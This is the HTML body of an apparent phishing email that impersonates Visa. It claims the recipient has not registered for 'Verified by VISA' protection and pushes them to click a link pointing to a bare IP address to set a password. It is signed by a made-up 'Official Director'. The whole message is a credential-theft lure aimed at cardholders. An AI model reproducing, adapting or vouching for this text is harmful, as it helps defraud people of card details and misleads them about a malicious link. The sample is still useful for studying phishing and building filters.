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<P><IMG height=71
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<P>Dear valued VISA credit/debit card owner,
<P>It has come to our attention that you still not registered for your
credit/debit online card protection from fraud<BR>That requires you to get
VERIFIED BY VISA password<BR>If you could please take 2-5 minutes out of your
online experience and get VERIFIED BY VISA protection system password, you will
not run into any future problems with VISA credit/debit card online usage!
<P>To activate VERIFIED BY VISA password please click <A
href="http://200.231.30.83/new-account.make">HERE</A>
<P>
<P><BR><BR><BR>Thank you for your time! <BR>Barry K. Downey, <BR>Verified by
VISA Official Director. <BR></A></FONT></P></BODY></HTML>